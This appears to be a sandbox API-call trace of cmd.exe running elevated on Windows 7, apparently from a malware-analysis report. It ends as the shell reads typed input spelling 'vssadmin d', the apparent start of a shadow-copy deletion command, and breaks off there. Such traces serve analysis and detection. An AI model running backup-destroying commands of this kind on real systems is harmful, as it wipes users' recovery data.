0x5f7434da [0055.816] srand (_Seed=0x5f7434da) [0055.816] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0055.816] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0055.816] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a37c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0055.816] GetProcessHeap () returned 0x280000 [0055.816] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x218) returned 0x29aa10 [0055.816] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x29aa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0055.816] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a36f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0055.817] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a36f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0055.817] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a36f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0055.817] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0055.817] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0055.817] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0055.817] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0055.817] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0055.817] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0055.817] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0055.817] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0055.817] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0055.817] GetProcessHeap () returned 0x280000 [0055.817] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x2994f0 | out: hHeap=0x280000) returned 1 [0055.817] GetEnvironmentStringsW () returned 0x298a60* [0055.817] GetProcessHeap () returned 0x280000 [0055.817] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0xa94) returned 0x29ac30 [0055.817] FreeEnvironmentStringsW (penv=0x298a60) returned 1 [0055.817] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a36f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0055.817] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a36f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0055.817] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0055.817] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0055.817] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0055.817] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0055.817] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0055.817] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0055.817] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0055.817] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0055.818] GetProcessHeap () returned 0x280000 [0055.818] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x5c) returned 0x29b6d0 [0055.818] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1cf870 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0055.818] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x1cf870, lpFilePart=0x1cf850 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1cf850*="Desktop") returned 0x25 [0055.818] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0055.818] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x1cf580 | out: lpFindFileData=0x1cf580*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Users", cAlternateFileName="")) returned 0x29b740 [0055.818] FindClose (in: hFindFile=0x29b740 | out: hFindFile=0x29b740) returned 1 [0055.818] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x1cf580 | out: lpFindFileData=0x1cf580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x29b740 [0055.818] FindClose (in: hFindFile=0x29b740 | out: hFindFile=0x29b740) returned 1 [0055.818] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0055.818] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x1cf580 | out: lpFindFileData=0x1cf580*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf719b880, ftLastAccessTime.dwHighDateTime=0x1d696fb, ftLastWriteTime.dwLowDateTime=0xf719b880, ftLastWriteTime.dwHighDateTime=0x1d696fb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Desktop", cAlternateFileName="")) returned 0x29b740 [0055.818] FindClose (in: hFindFile=0x29b740 | out: hFindFile=0x29b740) returned 1 [0055.819] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0055.819] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0055.819] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0055.819] GetProcessHeap () returned 0x280000 [0055.819] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29ac30 | out: hHeap=0x280000) returned 1 [0055.819] GetEnvironmentStringsW () returned 0x29b740* [0055.819] GetProcessHeap () returned 0x280000 [0055.819] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0xae8) returned 0x29c230 [0055.819] FreeEnvironmentStringsW (penv=0x29b740) returned 1 [0055.819] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a37c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0055.819] GetProcessHeap () returned 0x280000 [0055.819] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29b6d0 | out: hHeap=0x280000) returned 1 [0055.819] GetProcessHeap () returned 0x280000 [0055.819] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x4016) returned 0x29cd20 [0055.819] GetProcessHeap () returned 0x280000 [0055.819] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cd20 | out: hHeap=0x280000) returned 1 [0055.819] GetConsoleOutputCP () returned 0x1b5 [0055.820] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a37bfe0 | out: lpCPInfo=0x4a37bfe0) returned 1 [0055.820] GetUserDefaultLCID () returned 0x409 [0055.820] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a377b50, cchData=8 | out: lpLCData=":") returned 2 [0055.820] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1cf980, cchData=128 | out: lpLCData="0") returned 2 [0055.820] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1cf980, cchData=128 | out: lpLCData="0") returned 2 [0055.820] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1cf980, cchData=128 | out: lpLCData="1") returned 2 [0055.820] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a38a740, cchData=8 | out: lpLCData="/") returned 2 [0055.820] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a38a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0055.821] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a38a460, cchData=32 | out: lpLCData="Tue") returned 4 [0055.821] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a38a420, cchData=32 | out: lpLCData="Wed") returned 4 [0055.821] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a38a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0055.821] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a38a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0055.821] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a38a360, cchData=32 | out: lpLCData="Sat") returned 4 [0055.821] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a38a700, cchData=32 | out: lpLCData="Sun") returned 4 [0055.821] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a377b40, cchData=8 | out: lpLCData=".") returned 2 [0055.821] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a38a4e0, cchData=8 | out: lpLCData=",") returned 2 [0055.821] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0055.822] GetProcessHeap () returned 0x280000 [0055.822] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x20c) returned 0x2995c0 [0055.822] GetConsoleTitleW (in: lpConsoleTitle=0x2995c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0055.822] _get_osfhandle (_FileHandle=1) returned 0x104 [0055.822] GetFileType (hFile=0x104) returned 0x3 [0055.822] BrandingFormatString () returned 0x2997e0 [0055.827] GetVersion () returned 0x1db10106 [0055.827] _vsnwprintf (in: _Buffer=0x1cfaf0, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x1cfa88 | out: _Buffer="6.1.7601") returned 8 [0055.827] _get_osfhandle (_FileHandle=1) returned 0x104 [0055.827] GetFileType (hFile=0x104) returned 0x3 [0055.827] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a386340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0055.827] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a386340, nSize=0x2000, Arguments=0x1cfa90 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0055.827] _get_osfhandle (_FileHandle=1) returned 0x104 [0055.827] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a37c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0055.827] WriteFile (in: hFile=0x104, lpBuffer=0x4a37c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x1cfa18, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesWritten=0x1cfa18*=0x24, lpOverlapped=0x0) returned 1 [0055.827] _vsnwprintf (in: _Buffer=0x4a386340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1cfab8 | out: _Buffer="\r\n") returned 2 [0055.828] _get_osfhandle (_FileHandle=1) returned 0x104 [0055.828] GetFileType (hFile=0x104) returned 0x3 [0055.828] _get_osfhandle (_FileHandle=1) returned 0x104 [0055.828] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a37c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0055.828] WriteFile (in: hFile=0x104, lpBuffer=0x4a37c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1cfa88, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesWritten=0x1cfa88*=0x2, lpOverlapped=0x0) returned 1 [0055.828] _vsnwprintf (in: _Buffer=0x4a386340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x1cfab8 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0055.828] _get_osfhandle (_FileHandle=1) returned 0x104 [0055.828] GetFileType (hFile=0x104) returned 0x3 [0055.828] _get_osfhandle (_FileHandle=1) returned 0x104 [0055.828] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4a37c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0055.828] WriteFile (in: hFile=0x104, lpBuffer=0x4a37c320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x1cfa88, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesWritten=0x1cfa88*=0x3f, lpOverlapped=0x0) returned 1 [0055.828] _vsnwprintf (in: _Buffer=0x4a386340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1cfab8 | out: _Buffer="\r\n") returned 2 [0055.828] _get_osfhandle (_FileHandle=1) returned 0x104 [0055.828] GetFileType (hFile=0x104) returned 0x3 [0055.828] _get_osfhandle (_FileHandle=1) returned 0x104 [0055.828] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a37c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0055.828] WriteFile (in: hFile=0x104, lpBuffer=0x4a37c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1cfa88, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesWritten=0x1cfa88*=0x2, lpOverlapped=0x0) returned 1 [0055.828] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77940000 [0055.829] GetProcAddress (hModule=0x77940000, lpProcName="CopyFileExW") returned 0x779523d0 [0055.829] GetProcAddress (hModule=0x77940000, lpProcName="IsDebuggerPresent") returned 0x77948290 [0055.829] GetProcAddress (hModule=0x77940000, lpProcName="SetConsoleInputExeNameW") returned 0x779517e0 [0055.829] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.829] GetFileType (hFile=0xf8) returned 0x3 [0055.829] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0055.829] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x1cf8e0 | out: TokenHandle=0x1cf8e0*=0x0) returned 0xc000007c [0055.829] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x1cf8e0 | out: TokenHandle=0x1cf8e0*=0x50) returned 0x0 [0055.829] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x1cf8f0, TokenInformationLength=0x4, ReturnLength=0x1cf8f8 | out: TokenInformation=0x1cf8f0, ReturnLength=0x1cf8f8) returned 0x0 [0055.829] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x1cf8f8, TokenInformationLength=0x4, ReturnLength=0x1cf8f0 | out: TokenInformation=0x1cf8f8, ReturnLength=0x1cf8f0) returned 0x0 [0055.829] NtClose (Handle=0x50) returned 0x0 [0055.829] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x1cf8c0, nSize=0x0, Arguments=0x1cf8c8 | out: lpBuffer="韠)") returned 0xf [0055.829] GetProcessHeap () returned 0x280000 [0055.829] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x218) returned 0x281ab0 [0055.830] GetConsoleTitleW (in: lpConsoleTitle=0x1cf910, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0055.981] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0055.981] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0055.982] GetProcessHeap () returned 0x280000 [0055.982] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x281ab0 | out: hHeap=0x280000) returned 1 [0055.982] LocalFree (hMem=0x2997e0) returned 0x0 [0055.982] GetProcessHeap () returned 0x280000 [0055.982] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29aa10 | out: hHeap=0x280000) returned 1 [0055.982] _vsnwprintf (in: _Buffer=0x4a386340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1cf5f8 | out: _Buffer="\r\n") returned 2 [0055.982] _get_osfhandle (_FileHandle=1) returned 0x104 [0055.982] GetFileType (hFile=0x104) returned 0x3 [0055.982] _get_osfhandle (_FileHandle=1) returned 0x104 [0055.982] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a37c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0055.982] WriteFile (in: hFile=0x104, lpBuffer=0x4a37c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1cf5c8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesWritten=0x1cf5c8*=0x2, lpOverlapped=0x0) returned 1 [0055.982] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a36f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0055.983] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a37c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0055.983] _vsnwprintf (in: _Buffer=0x4a36eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1cf608 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0055.983] _vsnwprintf (in: _Buffer=0x4a36ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1cf608 | out: _Buffer=">") returned 1 [0055.983] _get_osfhandle (_FileHandle=1) returned 0x104 [0055.983] GetFileType (hFile=0x104) returned 0x3 [0055.983] _get_osfhandle (_FileHandle=1) returned 0x104 [0055.983] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a37c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0055.983] WriteFile (in: hFile=0x104, lpBuffer=0x4a37c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1cf5f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesWritten=0x1cf5f8*=0x26, lpOverlapped=0x0) returned 1 [0055.983] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.983] GetFileType (hFile=0xf8) returned 0x3 [0055.983] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.983] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.983] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.983] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e320, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0055.984] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.984] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.984] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.984] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e322, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0055.984] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.984] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.984] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.984] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e324, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0055.984] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.984] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.984] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.984] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e326, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0055.984] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.984] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.984] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.984] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e328, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0055.984] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.984] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.984] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.984] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e32a, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0055.984] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.984] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.985] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.985] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e32c, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0055.985] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.985] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.985] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.985] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0055.985] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.985] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.985] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.985] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0055.985] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.985] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.985] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a37c320*, lpNumberOfBytesRead=0x1cf8f8*=0x1, lpOverlapped=0x0) returned 1 [0055.985] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a37c320, cbMultiByte=1, lpWideCharStr=0x4a37e332, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0055.985] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.985] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.985] ReadFile (in: hFile=0xf8, lpBuffer=0x4a37c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf8f8, lpOverlapped=0x0 | out: 